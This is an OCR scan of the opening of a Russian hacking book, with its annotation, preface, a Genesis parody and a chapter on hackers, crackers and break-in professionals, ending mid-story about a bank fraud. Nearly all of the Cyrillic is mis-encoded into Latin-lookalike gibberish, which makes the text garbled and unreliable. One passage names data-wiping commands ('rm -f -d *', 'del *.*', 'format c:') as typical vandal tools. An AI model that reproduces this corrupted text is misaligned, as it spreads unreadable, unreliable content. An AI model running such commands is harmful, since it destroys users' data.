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XaKUHT — 3TO UCKYCCTBO B3JIOMa BCEBO3MOXHBIX CCTEM U JIOBEICHUSI TAHHOTO
rpoiiecca 10 BBICOT TeXHUueckoro ussiecTa. [Tocie 2000 rona moHsATHE «XaKep»
OKOHYATEJIbHO M3MEHHMJIOCH. DTO CBS3aHO C MOSIBJIEHUEM «XaKepOB-BaHAAIOB». Her,
He XaKepoB, B U3HAYaJIbHOM [TIOHMMAHUU TOTO CJI0Ba, HO Ha3bIBAIOLLMMU Ce0s1 UMEH-
HO TaK, a TaK Ha3bIBAEMBIX B3IOMIIIUKOB — KPIKEPOB.

XakepcKuil B3MJIs1L HA MUP HE OrpaHUYMBAETCS JIMIIb KYJIbTYPOil XaKepoB-IIpo-
rpaMMUCTOB. ECTb JTtoaM, MpUMEHSIONIME XaKePCKUil MOAXOM W K APYTUM Belllam,
BpOZE JMEKTPOHUKM WJIM MY3bIKM. B NeiicTBUTENBHOCTH BBl MOXETE BCTPETUTHCS
C 9TUM TIOIXOIOM Ha BBICIIMX YPOBHSIX JTI000U HayKu v uckyccTBa. CodTBepHbIE
XaKepbl IPU3HAIOT TaKKX OJIM3KUX IO IyXY JIIOAEH U TOXE MOTYT Ha3bIBaTh UX «XaKepa-
MU», HEKOTOPBIE IaXe MPOBO3IJIAIIAIOT, YTO XaKepcKasi TPUPOJIia Ha CAMOM JIeJie He 3a-
BUCUT OT Cpelbl, B KOTOpOii paboTaeT xakep. B 3Toii KHMIe MbI COCPEIOTOYMMCS
Ha HaBBIKaX W TOAXOAaxX CO(MTBEPHBIX XaKepPOB, a TaKKe Ha TPAOUIIMSIX TOU OOIIeit
KYJIBTYPBI, YTO MOPOIMIIA TEPMUH «XaKep».

Taxke BbI y3HaeTe 0 iecheKTax B ccTeMe O€30MaCHOCTH, aBTOP TONETUTCS C BAMU
MBICJISIMU O XaKUHTe, BBeeT Bac B XakuHr UNIX u ftpd u aHoHuMHBII ftp, BbI y3Hae-
Te, KaK 3aperMCTPUPOBATHCS MO/ Uy>KUM UMEHEM, «TPOSTHCKHUX KOHSIX», O XaKUHTe U
Internet, oxxHbix DNS-3anpocax B Internet 1 0 MHOTMX IPYTMX MHTEPECHBIX BELIaX.

B knure BecbMa MoapoOHO OMHMCaHBl MPUMEHSIEMBblE XaKepaMu IMPOrPaMMBI
Y UHCTPYMEHTBI, CTPaTerny B3JIOMa, METOABI CO3NaHUs HalexXHOU U 3 deKTUBHON
3AIIUTHI OT aTaK XaKePOB, MOAPOOHO 0OCYKIAIOTCS pa3InIHble (DaKTOPHI, BIUSIONINE
Ha 3allUTy CETH, MPUBEICHBl KOHKPETHBIE PEKOMEHIALIMU TI0 CO3AAHUIO PA3TUYHBIX
cucTeM 0€30MacCHOCTH U MTPUMEPhI KOHKPETHBIX aTaK XaKepoB. 3HAUUTETIbHOE BHUMA-
Hue yaesieHo onrcaHuio cucteM B3ioma Windows NT, Linux u Unix u crieuudpude-
CKHM JUIsI 9TUX CCTEM METOIaM BTOPXKEHUSI.

B obuiem, 3Ta KHUra MocBsIlieHa POCCUIICKOMY XaKepcKoMy coobluecTBy. Ero
9THKE, IOMOpY, XaproHy, Hy 1, KOHeEYHO, MeToraM paboTel. CBoeil 3amaueil aBTop
HE CTaBUT OOyuyaTh YMTATENISI UCKYCCTBY XaKMHIa — peub UAET 00 UCKIIOYUTETbHO
MIPOCBETUTEIBHBIX LIEJISIX LTSI T€X, KTO IPUBBIK U3y4aTh BCE «CAMOMNAIOM» U TaK COOM-
paetcsl Mpoxoykarh. 3/1eCh cOOpaHbl MaTepualbl, NepeBeeHHbIe U 00pabOTaHHbIE
pasnuyHbBIMU Xakepamu. [lepepaboTka B COOTBETCTBUM CO CTMJIMCTHKON PYCCKOTO
sI3bIKa MOPO MCKa3uja TEKCT, HO HEe TEXHUYECKUE TEPMUHBI, KOTOPblE MeCTaMu
OCTaJIUCh HE TMepeBeNCHHBIMU. TeM, KTO XKejlaeT CTaThb «KWUIEPOM Ha 4YaTe» WU
«U3TAIATBCS» MO-APYroMy, aBTOP COBETYET 00pallaTbCsl K MICTOYHUKAM 00Jiee «KOM-
METEeHTHBIM» U PUCKYET MOBTOPUTLCS, YTO 9Ta KHUTA MTPEeAHA3HAYCHA TSI BIyMYUBBIX
Y PeIIUTETbHBIX.
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BMeCTO BCTYNAHUS, UAU
HeCKOAbKO CAOB OT ABTOPA

A — xakep. To ecmb 51 1106410 3a0a619MbCS C KOMNBIOMEPAMU. pAOOMAMb
Ha HUX, U3Y4amb UX U NUCAMb YMHble KOMRbIOMepHble npoepammbl. S — He 6310m-
WUK NPOSPAMMHOLL 3aUUmbl U He 0eAar0 PAKMUKY U3 AOMKU KOMNbIOMEPHOU 3a-
Wumol.

Hem Huuezo no3oproeo 6 xakutee, KOmopwiM 3anumarocsy 5. Ho koeda s eo-
60pI0, MO 51 — XaKep, M00uU OyMaiom, 4mo s 03604510 cebe 0enams Heumo npo-
MUBO3AKOHHOE, NOMOMY HMO CPeoCmea MAcco80i UHGOPMAUUU HENnPABUAbHO
YROMPeOASIIOM CA080 «XaKep» U CO30arm ene4amaeHue, 4mo 0Ho 03Ha4aem <npe-
pvleamens 3auwumo> (cracker) u Huueeo dpyeoeo. Takum obpazom onu deaaiom
Xakepam nA0Xou UMUoxC.

Camoe epycmuoe 6 mom, y¥mo ama npobiema yeeKogeuugaemces npeoHame-
perHo. Muoeue 3naiom pazauuue mexcoy «xakepom» u «kpexepom». Ho 6oavuiun-
cmeo ardell ynompebasiem cA080 «xaxKep» ¢ 0CKopoumenvubvim ommeHnkom. Ilycmo
oydem mak... Ho ecau 6b1 5 6bin mem, Kem 6bl MeHs1 cuumaeme, mo s 00AX4CeH 8
omeem 6310Mamd 8aul KomMnviomep u pazpyuums e2o. Ho s — xakep, a ne kpexep.
S He deaaro makux eewell! Y mens ecmv docmamo4ro KOMNbIOMEPos8, 4ymoobsl 3a-
HUMamocs umu 0oma, Ha pabome; U s He Hyxcoarchb 6 eauiem. Kpome moeo,
2Mo — He Moii cnocod omeema Ha ockoponenus. Moit omeem — sma KHuea.

Bt 3adoaxcanu Xxakepam U36UHEHUA; HO bonee amoeo, 6ol donicHbl npo-
A6UMDb nopﬂaolmoe OMHOUleHUue K Ham.

HUckpenne eawu,
Maxcum Jlesun...

4 BHayaAe 6bIAO CAOBO...

BHOYaAe ObIAO CAOBO...

Buavane Obu10 €JIOBO, 1 CJIOBO ObLIO 2 OaiiTa, a OOJIbIIIE HUYETO HE
OBLIO.

W otnenvn bor equHULy OT HyJIsI, U YBUIEI, YTO TO XOPOIIIO.
U ckazan bor: ga Oymyt naHHBIe, ¥ CTaJIO TaK.

U ckazan bor: na cobepyTcs JaHHBIE KaXIble B CBOE€ MECTO, 1 CO31ajl
JIMCKETHI, U BUHUECTEPHI, 1 KOMIIAKT-ANCKH.

W cxazan bor: na OynyT KOoMIbOTEpPHI, YTOOBI OBLIO Ky/la MUXaTh AUC-
KETbl, U BUHUYECTEPhI, U KOMITAKT-AUCKU, U COTBOPWJI KOMITBIOTEPHI, U HapeK
WX XapIOM, U OTAEJIWI Xap[l OT codTa.

Cora xe eme He ObLI0, HO bor OBICTpO McHpaBWICS, W CO3MAI IIPO-
rpaMMBI OOJbIIIME U MaJIeHbKUE, U CKa3aJl UM: TUIOMTECh U pa3MHOXaNTeCh,
1 3aMOJTHANTE BCIO TTaMSITh.

Ho nagoeno Emy co3naBath IporpaMMbl caMmoMy, U ckaszaj bor: co3na-
UM TIpOrpaMMMCTa MO 00pa3y U MoJOOUIO HallleMY, Y A BJIaJblueCTBYET Hall
KOMIIbIOTEPAMU, U HaJ MporpaMMaMu, U Haxa naHHbiMU. M co3nan bor npo-
rpaMMUCTa, U rmocejaui ero B ceoeM BLI, uro6nl pabotan B Hem. M moBen OH
MPOrpaMMUCTa K JepeBy KaTajoros, U 3aMOBeAal: U3 BCSKOIO KaTajlora Mo-
Kelllb 3aIyCKaThb IMIPOrpaMMbI, TOJIbKO U3 KaTajiora Windows He 3amyckaii, n6o
MacT Jau.

U ckazan bor: He Xopo1110 MTporpaMMKCTY OBITh OTHOMY, COTBOPUM EMY
MOJTb30BaTENIsI, COOTBETCTBEHHO eMy. U B3s1 OH y IporpaMMKCTa KOCTb, B KO-
eif He OBUTO MO3Ta, M CO3/Ial TTOJTb30BATEIsI, ¥ TIPUBEJT €T0 K IIPOTPAMMUCTY; U
HapeK MporpaMMMUCT ero 3epoM. M cunenu onu o6a rox rosasiM JJOCom 1 He
CTBIIVINCD.

Buin Ob11 xuTpee Beex 3Bepeit moseBbix. M ckazan bui 03epy: mona-
JIMHHO J11 cKa3aji bor: He 3amyckaiite HUKaKoro cora?

U cka3zan 103ep: BCIKMi cOPT Mbl MOXKEM 3aIyCKaTh, U JIUIIb U3 KaTa-
siora Windows He MoxeM, n00 MacT Jaii.

M ckazan bunn 1o3epy: gaBaiite CIOpUTh O BKYCe YCTPUIL C TEMU, KTO
ux en!

B nenb, xorna 3anyctute Windows, Oyznere Kak 60ru, 160 OMTHUM KJIH-
KOM MBILLKH COTBOPUTE YTO YroaHo. M yBuaen 103ep, YTO BUH/IBI IPUSTHBI JJIST
[J1a3 U BOX/IEJICHHbBI, TIOTOMY UTO JIeJ1al0T HEHYXKHBIM 3HAHUE, U MIOCTABUJI UX
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Ha CBOW KOMIIBIOTEP; a 3aTEM CKa3aJl IPOrPaMMMUCTY, YTO 3TO KPYTO, ¥ OH TO-
K€ ITOCTaBUIJI.

M ornipaBuiicst mporpaMMUCT UCKaTh CBEXME ApaiiBepa, 1 Bo33Bas bor
K TIPOTPaMMUCTY U CKaszas eMmy: Tae Thl? [IporpaMMUCT cKasail: UIILy CBeXue
npaiiBepa, n6o Het ux nox roabiM JJOCom. U ckazan bor: kTo Tebe cka3ai mpo
npaiiBepa? Y He 3amyckai Jii Thl BUHIBI? [IporpaMMuCT ckazal: 103ep, KOTO-
poro Tsl MHe faJI, cKa3ai, YTO OTHBIHE XOUET IMPOTPAMMBI TOJIBKO IO BUHIIHI,
U 5T UX TIOCTABWII.

M ckazan bor o3epy: yto 310 THI caenan? kO3ep ckazan: buin 060-
JIbCTUJT MEHSI.

W ckazan bor buty: 3a To, 4TO ThI cefan, NPOKJISIT Tl MIPENl BCEMU
CKOTaMU M BCEMU 3BEPSIMU TOJIEBBIMU, U BPAXAY TMOJIOXKY MEXAY TOOOI U
MPOTPAMMUCTOM: OH OYIET pyrath Te0s1 HEXOPOILIUMHU CJIOBaMU, a Thl Oylellb
MpoJaBaTh €My BUH/IbI.

IO3epy ckazan: yMHOXY CKOpOb TBOIO M MCTOIIY KOIIIEJIeK TBOM, 1 Oy-
JIeTTb TI0JTb30BaThCs KPUBBIMU TIpOTpaMMaMi, M HE CMOXEITb TIPOXUThL 6e3
MPOTPaMMUCTA, Y OH OYJET TOCITOICTBOBAThL HAl TOOON.

ITporpaMMucTy Xe cKazal: 3a TO, 4TO MOCJyIIad 103epa, MPOKISITHI
KOMIIBIOTEPHI JIsI TeOsI; IJIIOKHA Y BUPYChl IPOM3BEIYT OHU TeOE; CO CKOPObIO
Oyzelllb BbIYMILATH UX BO IHU PabOThI TBOEHA; B TIOTE JiMlia CBOETO OyAellb OT-
JlaxkuBaThb Kon ¢cBoii. M Beicaan bor ux u3 ceoero BLI, u mocraBui maposb Ha
BXO[I.

General protection fault.

6 OCHOBbI

OCHOBbI

AaBsa 1.
KTo TOKOM XaKkep?

B a0l KHUre BBl HalifeTe Kydy ONpeaeseHUi IJIs TepMUHA «XaKep»,
GOJIBILIMHCTBO KOTOPBIX CBSI3aHO C TEXHUYECKON KOMIETEHTHOCTbIO U YIO-
BOJILCTBUEM, TOJIyYa€MbIM OT PEILeHUs MPOOJIeM U MPEeoJoJIeHUs Tperpaj.
Ho ecnu xe Bbl XOTUTE 3HATh, KaK CTaTh XaKepPOM, TO JACHUCTBUTEJILHO CyIIe-
CTBEHHBIMU SIBJISTIOTCS [Ba acCIeKTa.

N MeeTcst HEKOTOpOe COOOIIECTBO, HEKast 0011ast KyJIbTypa, COCTOSIILAs
13 OTIBITHBIX TPOTPAMMUCTOB U CETEBBIX YapOI€eB, KOTOPask BEIET CBOIO UCTO-
pPUIO OT MEPBBIX MUHU-KOMIBIOTEPOB C pa3ieJieHUeM BPEMEHU U OT CaMblX
PaHHUX BKCNepUMeHTOB ¢ ceTbio ARPAnet. YsieHbl 5TO# KyJbTypbl U Aaiu
POXJEHUE TEPMUHY «Xakep». Xakepbl mocTpowiu Internet. Xakepsl cnenanu
onepaiMoHHyto cucteMmy Unix TeM, YeM OHa SIBJISIETCSI CETOHS. XaKepbl BEIyT
Usenet. Xakepsl obecnieunBatot paboty World Wide Web. Eciu BbI siBisieTeCh
YaCThIO 3TOM KYJbTYPhI, €CJIM Bbl BHECIU B HEE CBOW BKJIAJ U APYTye YieHbI
9TOM KyJIbTYPhI 3HAIOT, KTO Bbl, U HAa3bIBAIOT BAC XaKepoOM, TO Bbl — XaKep.

XakepcKuii B3I HA MAP He OTPaHUYMBACTCS JIUIIThL KYJIBTYPOii XaKe-
POB-TIporpaMMUCTOB. ECTh oM, TpUMEHSIIONINE XaKepCKU TOaXon U K
JIPYTUM BelllaM, BpoJie 3JIeKTPOHUKHU WU MY3bIKU. B NeiicTBUTEIBHOCTH, BB
MOXeTe BCTPETUTBLCSI C STUM IMOAXOAOM Ha BBICIIMX YPOBHSX JIIO0OM HayKu
i uckyccrBa. CodTBepHBIC XaKephl MPU3HAIOT TAKWUX OJU3KHX TT0 TyXY JIIO-
JIeii ¥ TOXKe MOTYT Ha3bIBaTh MX «XaKepaMM», HEKOTOPHIE Jaxke TIPOBO3IJIalla-
0T, 4TO XaKepcKas IPUPOoia Ha CaMOM JieJie He 3aBUCHUT OT CPellbl, B KOTOPOit
paboTaet xakep. B 3T0it KHUTe MBI COCPEIOTOYMMCS Ha HaBBIKaX M MOIXOIAX
co(TBEPHBIX XaKepoOB, a TAKXKe Ha TPAIUIIUSAX TOM OOIIeH KyIbTyphl, YTO TO-
pOIMIIa TEPMMH «XaKep».

HMmeetcs 1 apyras Tpynra Jioaeil, F(pOMKO MMEHYIOIIUX cebsl Xake-
paMu, HO OHU UMU He SIBJIIOTCS. DTO Te JIIoau (TJIaBHBIM 00pa3oM, MOJIOJEXb
MYKCKOTO T10J1a), KOTO TSTaloT 3a B3JIOM KOMIIBIOTEPHBIX M Tele(OHHbIX
CHCTEM.

Hacrosiue XaKepbl HA3bIBAIOT TAKUX Jonen «Kp9KepaMHn» 1 HE XKeJla-
JOT UMETb C HUMU HAYETo OOIIIETO. HaCTOHH_lI/Ie XaKephbl B OOJIBILIMHCTBE CBO-
€M CYUTAIOT KP3KEPOB JICHUBbBIMMU, 0e30TBETCTBEHHBIMU 1 HE 0C000 YMHbIMHU.
TO, YTO 4YeJIOBEK CIOCOOEH B3J0MaTh CUCTEMY 6C3OHaCHOCTVI, HC OCJIacT €Tro
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XaKE€poOM, TOYHO TaK XK€ KaK YMCHUEC YITOHATL Ta4KH HE JCJIacT BaC aBTOMO-
OMJIBHBIM MacCTE€pOM.

K HECYACTbIO, MHOTUEC XKYPHAJIMCTLI U IMUCATCIN BBEACHDI B 38.6J'IY)KJI€-
HUE U UCITOJIB3YIOT CJIIOBO «XaKep» IJI OITUCaHUsI KPOKEPOB, U 3TO OecKoHeY-
HO pazapaxac€T HACTOALINX XaKEPOB.

I'maBHOe paziauuue B CAeMyIOIEeM: XaKephbl CTPOSIT BEIU, @ KPIKEPhI UX
JIOMAIOT.

Eciu BbI XOTUTE CTaTh XaKepoM, TO MpoaoKaliTe ureHue. Eciu ke Bbl
XOTHUTE CTaTh KPIKEPOM, TO OTIPABISITECh YNTATh HbIO3-rpymmy alt.2600 u
MPUTOTOBBTECH OTCUIETH OT IISITU JI0 JECATH JIET B TIOpbME, KOT/Ia 00OHAPYXKU-
T€, YTO HE HACTOJILKO JIOBKM, HACKOJIBKO ToJIaraiu.

Xakepbl

D10 — MHAMBUIYYM, KOTOPHII TTOJYJaeT YAOBOJIBCTBUE OT U3YUCHUS
netaneil GyHKIIMOHUPOBAHUSI KOMITBPIOTEPHBIX CUCTEM M OT PACIIMPEHUS UX
BO3MOXHOCTEM, B OTJIMYME OT OOJBIIMHCTBA ITOJIb30BaTeICii KOMITBIOTEPOB,
KOTOpPBIC TPEATTOYUTAIOT 3HATh TOJbKO HEOOXOMUMBI MUHIUMYM.

D10 — DHTY3MACT IPOrPaMMHPOBAHMS, TTOJYYAIOLINI YIOBOIECTBIE
OT CaMOro MPoIIecca MPOrpaMMUPOBaHUS, & HE OT TEOPETU3UPOBAHUS 110 ITO-
MY TIOBOIY.

JlaHHas1 TpaKTOBKA MOHSATHS «XaKep» OTJIMYAeTCS OT IIPUHSATOM B Cpefi-
CTBaX MaccoBOif MH(pOpMaIIMK, KOTOPbIe, COOCTBEHHO, U TIPUBEIM K IMMOAMEHE
noHsTUi. B mocienHee BpemMsi MHOTHE CIIELIMATUMCTBI IO KOMITBIOTEPHOI Oe-
30MaCHOCTM HayaJIM aKKypaTHee OTHOCUTHLCS K 3TUM TePMUHAM.

Kpakepsl

HusmeHHOCTh MOTMBOB KP3KEpPOB IIPUBOAUT K TOMY, 4To 9 m3 10 u3
HUX SIBJISIIOTCST «JafHMKAaMW», KOTOPBIE B3J1aMbIBAIOT TUIOXO aIMUHUCTPUPY-
€Mble CUCTeMbl, B OCHOBHOM OJiarofapsi MCITOJIb30BaHUIO UYXKUX MPOTPaMM
(0OBIYHO 3T IIpOrpaMMBbI Ha3bIBaloTCs exploit). (IIpumuem 310 MHEHUE TEX ca-
MbIX 10% mpodeccrnoHaIbHBIX KPIKEPOB).

D1 npodeccoHaIbl — OBIBIIIME XaKephbl, CTABIINE Ha MyTh HapyIle-
HU 3aK0Ha. VX, B OTIMUME OT KPIKEPOB-«4aAHUKOB», OCTAHOBUTh JIECHCTBY -
TEJILHO OYECHB CIIOXHO, HO, KaK ITOKa3bIBacT MPAaKTHKa, OTHIOOb HE HEBO3-
MOXHO (IUTsI IpUMepa BCIIOMHHMM MPOTUBOOOPCcTBO MuTHMKA 1 LIIMMOMYypHI).

OueBUIHO, YTO IS TPEIOTBPALLEHUS BO3MOXKHOTO B3JIOMA WK YCTpa-
HEHUS €TO TTOCIIEACTBAIN TpeOyeTCs MPUTIIACUTL KBATU(UIIMPOBAHHOTO CITe-
IHMaJucTa 10 MHGOPMALMOHHOM 0€30MacHOCT — IMPOodeCCHOHATBHOIO
XakKepa.

8 OCHOBbI

OnHako GbIIO GBI HECITPABELIMBO MEIIATh B OMHY Ky4y BCEX KPIKEPOB,
OMHO3HAYHO Ha3BaB MX BOpaMU M BaHmadaMd. [1o HaleMy MHEHUIO, BCEX
KP3KEePOB MOXHO pa3leiuTh Ha TPY CIICAYIONIUX Kilacca, B 3aBUCMOCTH OT
LIEJIH, C KOTOPOI OCYIIECTBIISICTCST B3JIOM: BaHAAJIBI, «ITYTHUKH» ¥ TIpodeccu-
OHAJTBI.

BaHAQADI

Banpanasl — camast u3BecTHast (BO MHOTOM OJiaroaapsi IOBCeTHEBHOCTU
BUPYCOB, a TAKXKe TBOPEHUSIM HEKOTOPBIX XKYPHAIMCTOB) U, HAIO CKa3aTh, ca-
Masl MaJlourcJIeHHasl YacTh KpakepoB. X oCHOBHasI 11eJ1b — B3JIOMaTh CUCTe-
My A5 ee paspylueHusi. K HUM MOXHO OTHECTH, BO-TIEpBBIX, JIOOUTENEH
komana Tuna: rm -f -d *, del *.*, format c: /U v T.1., U, BO-BTOPBIX, CIIELIMAI-
CTOB B HalMMCaHUM BUPYCOB WM TPOSTHCKUX KOHel. COBEepIIEHHO e€CTeCTBEH-
HO, YTO BeCh KOMITbIOTEPHBII MUP HEHABUAMT KPIKEPOB-BAHAAJIOB JIIOTOM He-
HaBUCThIO. DTa CTaaus KPIKEPCTBa OOBIYHO XapaKTepHa [UIsi HOBUYKOB W
OBICTPO TMPOXOAUT, €CAU KPIKEPY YIAeTcsl COBEpPILIEHCTBOBAThHCS (Bedb J0-
BOJILHO CKyYHO OCO3HABaTh CBOE MPEBOCXOICTBO HaJl 0€33aIIMTHBIMU MOJIb30-
BaTe/ISIMU).

Kp3kepoB, KOTOpbIE 1aXkKe ¢ TEYeHNEM BPEMEHH HE MIUHOBAJIM 3Ty CTa-
JII0, a TOJBKO BCe 0O0Jice COBEPIIEHCTBOBAIM CBOM HAaBBIKM paspyllIeHUs,
MHave, YeM COLMAIbHBIMU IICMXOITaTAMM, HE HA30BEIlb.

LyTHUKMN

IlyrHukn — Hamnbosee 6e300UaHASI YACTh KPIKEPOB (KOHEYHO, B 3a-
BUCUMOCTH OT TOTO, HACKOJIbKO 3J1ble OHU MPEANOYUTAIOT IIIYTKN), OCHOBHAS
11eJIb KOTOPBbIX — U3BECTHOCTh, AOCTUraeMas MyTeM B3JIoMa KOMITbIOTEPHbIX
CHUCTEM U BHECEHUS Tylla pa3anyHbIX 9 (HeKTOB, BhIpaxkalolux UX Hey0BIIe-
TBOpPEHHOE 4yBCTBO loMopa. «LIlyTHUKHU» OOBIMHO HEe HAHOCAT CYILECTBEH-
HbI yiiep6 (pa3Be uTo MOpalibHbIN). Ha ceromHsiuiHuii neHs B Internet ato
HauboJjiee paclpoCTpaHEHHBIN KIacc KpakKepoB, OOBIYHO OCYIIECTBISIONINX
B3710M Web-cepBepoB, OCTaBjIsisl TaM yloMHHaHue o cebe. K «imyTHUKam»
TakXe MOXXHO OTHECTU co3aTesieil BUPYCOB C Pa3IWYHbIMU BU3YyaJbHO-3BY-
KOBbIMU 3(dekTamu (My3bIKa, ApOXaHWE WIM MepeBopauMBaHUe dKpaHa,
pUCOBaHUE BCEBO3MOXHBIX KapTUHOK U T.M.). Bce 3T0, B mpuHLMIE, MO0
HEBUHHBIE 1AJTOCTU HAYMHAIOLIUX, TMOO — peKIaMHble aKIuu mpodeccruo-
HAaJIOB.

B3AOMLLMKN

Banomimuku — HpO(i)eCCI/IOHaHBHLIC KPOKEPHLI, IMOJb3YIONIMECSA Hau-
OOJIBIINM ITIOYETOM U YBaXX€HUEM B KPIKEPCKOM Cpelie, OCHOBHAs 3a/1a4ya Ko-
TOPBLIX — B3JIOM KOMITBIOTEPHON CHUCTEMBI C CEPbE3HBIMU LIEISIMU, 6ym> TO
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Kpaxa WJIM TIOAMEHA XpaHsIIelcs: TaM WHbopMaluu. B obimeM ciayyae, mist
TOTO, YTOOBI OCYIIECTBUTD B3JIOM CUCTEMbI, HEOOXOIUMO ITPOMTH TPX OCHOB-
HBIC CTaJN: UCCICIOBAHNE BEIMUCIUTEIbHOM CUCTEMBI C BBISIBJICHUEM U3bsI-
HOB B Hel, pa3paboTKa MPOrpaMMHOM peaTnu3alliy aTaKu U HeIOCPEACTBEH -
HOe e¢ ocymecTBIeHNe. ECTeCTBEHHO, HACTOSIITUM PO eCCHOHATIOM MOXHO
CYMTATh TOTO Kp3Kepa, KOTOPBIN ISl MOCTVMKECHMS CBOCH 1IeJTA TTPOXOIUT BCe
TPH CTaIH.

C HEKOTOPOI HATSIXKKOM TakKe MOXHO CUMTATh MPO(PeCcCHOHAIOM TO-
ro KpaKepa, KOTOPbIi, UCITOJIb3ysl JOOBITYIO TPETHUM JIMLIOM MHGOPMALINIO 00
VS3BUMOCTHM B CHUCTEME, TUILET MTPOrpaMMHYI0 peaan3aluio JaHHOM ysI3BU-
MocTd. OCylIeCTBUTh TPEThIO CTAANIO, OYEBUIHO, MOXET B TIPUHIIMIE Kax-
NIbIiA, UCTIOJIb3YS UyKue pa3paboTku. Ho To, yeM 3aHUMaroTCsl B3JIOMIIMKY, —
3T0 0OBIYHOE BOPOBCTBO, €CJIM a0CTparupoBaThes OT NpeaMeTa Kpaxu. K co-
KaJleHu1o, y Hac, B Poccuu, Bece He Tak npocTto. B ctpaHe, rie Gosbiiiasi 4acThb
MPOrpaMMHOTO 00eCTieYeHHUsI, NUCTIOJIb3YEMOT0 KaXIbIM TOJIb30BaTesieM, sIB-
JISIETCSI TMPATCKOM, TO €CTh YKPaZeHHOM He 6€3 MOMOIIIM TeX e B3JIOMIIIMKOB,
MOYTH HUKTO HE UMEET MOPaJIbHOIO MpaBa «0poCUTh B HUX KaMeHb». KoHeu-
HO, B3JIOM KOMITBIOTEPHBIX CUCTEM C 1I€JIbIO KpaXkKy HU B KOEM CJTydae HeJlb3sl
Ha3BaTh JOCTOMHBIM JIEJIOM, HO M YIpeKaTb KP3KEPOB-B3JIOMIIMKOB MOTYT
TOJILKO T€, KTO JIETAJIbHO MPHOOPEN BCE UCTIOIb3YeMOe IPOrpaMMHOE obecrie-
YeHMUe.

1o cux 1mop MbI Bce BpeMsI pacCMaTpUBaIv XaKePOB-KPIKEPOB C MTO3U-
LM pacipeeIEeHHbIX CUCTeM, HO He HY>KHO 3a0bIBaTh, YTO camasi MHOTOUYNC-
JIEHHasl KaTeropus KpIKepoB 3aHMMaeTcsl 0ojiee OOBbIICHHBIMU BelllaMU, a
MMEHHO: CHSITUEM 3allUThl C KOMMEPUYECKUX BEPCHIl TPOTPaMMHBIX MPOAYK-
TOB, U3TOTOBJIEHUEM PEeTUCTPALIMOHHBIX KJIIoUel (registration key) st ycJIoB-
HO-0eCIIaTHBIX MTPOTPaMM U T.1I.

DAEKTPOHHbI€ B3AOMLUUKU

Llenn, KoTOpylo TIpeciieayeT OOLIKHOBEHHBIN BOP MJIU MOILIIEHHUK, 10-
cTaTouHo npocrta. Kak rmpaBuiio, ero npuBieKaoT HATMIHbIC IeHbIY WIX Ma-
TepUaJIbHbIE IIEHHOCTHU, KOTOPBIE MOXKHO JIETKO TponaTh. [IpaBna, cyiiecTBy-
IOT yMEJbIbI, KOTOPBIC B3JIAMBIBAIOT Ceii(pbl M YrOHSIOT aBTOMOOWMIN
HUCKJIIOUUTEILHO — 10 UX CI0BaM — U3 «JII00BU K UCKYCCTBY». HO B UCKpeH-
HOCTb TaKUX MIPU3HAHUI YTO-TO HE BEpUTCS!

C xakepaMu Jejio OOCTOMT CJIOXHee. XOTs Obl MOTOMY, UYTO obpa3
«BUPTYaJIbHOTO» B3JIOMIIIMKA HE COIJIACYeTCs C TPUBBIYHBIM 0OPa30M KPUMU-
HaJILHOT'O 2JIEMEHTA — CJUIIKOM YX CUJIbHO BbIAESIETCS] MHTEJIEKTYaTbHbII
YPOBEHb XaKepa, U ero 3HaHUsI B 00J1aCTU KOMITbIOTEPHON TEXHUKU KaxKyTCsl
npocto ¢eHoMeHanbHbIMU! HeKoTophle Mob30BaTe I BIIOJHE PE30HHO CUM-
TaloT, YTO XaKepbl — 3TO CBOEOOPA3HbIe CAHUTAPHI KOMITbIOTEPHBIX CETei, KO-
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TOPBIE BHISIBJISIOT CJTA0OBIC MECTa B TOM MJIM MTHOM CETEBOM ITPOIYKTE U TTIOMO-
raloT TeM CaMbIM OIPEHEIISATh CKPBIThIC Ne(eKThl TEXHUKU M HeIOpabOTKU
rporpamMM. CTOPOHHUKHM TAHHOTO MHEHUS 4acTO OIMEPUPYIOT TeM (hakToM,
YTO Ha paHHEM 3Talle Pa3BUTHUST KOMITBIOTEPHOW MHIYCTPUHN MIOHSITHE «XaKep»
ONIPEAEISUTOCH KaK «ITPOrpaMMUCT-(haHaTUK, BUPTYO3, IKCIIEPT IO MPOrpaM-
MaM». B MpuHIIKITe, ¢ 3TUM OIpeneIeHEeM MOXHO COTTacuThes. OMHAKO He
OylaeM 3a0bIBaTh, YTO K ITOJIOKUTEILHOMY <«IIOPTPETY» XaKepa 100aBUIINChH
CETOIHS HOBBIC YePTHI, KOTOPBIC HE COITIACYIOTCS ¢ OOJIMKOM 0JIaropoIHOrO
pHILIApSI.

Ecnu BbI 0TKpOeTe KHUTY pekopnoB ['MHHeca, To Ha OHOM U3 ee cTpa-
HUII, PSIIOM C UMEHAaMM YOUIIl 1 MaHbSIKOB, MOXHO YBUIETh HaUepPTaHHYIO
MeJKuM mpudTom dhamunuio ameprukania C. M. PudxkuHa, crasiiero rep-
BbIM KOMIBIOTEPHBIM MOIIEHHUKOM, 3aperuCTPUPOBAHHBIM O(MUIIMATBHO,
T.e. peiieHueM cynaa. [loBeieHHbIN nHTEpec K auyHoctu C. M. Pudxkuna
BBI3BaH TEM, BEPOSITHO, YTO YTOJIOBHBIE JieJia HaJl 3JI0yMBIIILJIEHHUKAaMU BCTpe-
yatorcs penko. M tem Gosiee MOHSATEH MHTEpPEC K TUYHOCTH MEePBOTO ODUIIU-
aJIbHOTO XaKepa!

IIpouecc no meny 32-j1eTHEro aMepruKaHCKOTo rpaxkaaHnHa Pugkuna,
PYICKHYBIIIETO COPBATh 3aMPETHBIN TUIOA Ha HUBE KOMITBIOTEPHOTO KPUMHUHA-
J1a, cocTosiics B cepenrHe 70-X rogoB, B 310Xy «M3HPpeiiMoB». [leo o6¢cTo-
SUTO TakK.

[ocnonuH PudkuH ObUT BiagenableM HeOOJbIIoNH (pUpMbI, KOTOpast
Crelaau31upoBajIach Ha IJIaTHBIX KOHCYJIBTAIUSX ITO BOIPOCAaM KOMITbIOTEp-
HOI1 TexHUKU. OH XOpOIIIO 3HAJ BBIUMCIUTENIbHBIE CUCTEMbI CBOMX KJIMEHTOB.
B yacTtHOCTH, eMy Obljla 3HAaKOMa CMCTEMa aBTOMAaTU3UPOBAHHBIX TIJIaTeXei
B TUX0OOKeaHCKOM HallMOHaJIbHOM 06aHKe B ropoje Jloc-AHmxenece.

Opnaxnbel PudkuH sBUjICS B BEIMUCIMTEIBHBIN LIEHTP 3TOr0 OaHKa;
CITy>KeOHBIN BXOHA ObLI OTKPHIT. PUKMH BEIIaN ceOs 32 IPEACTaBUTEIISI TOCY-
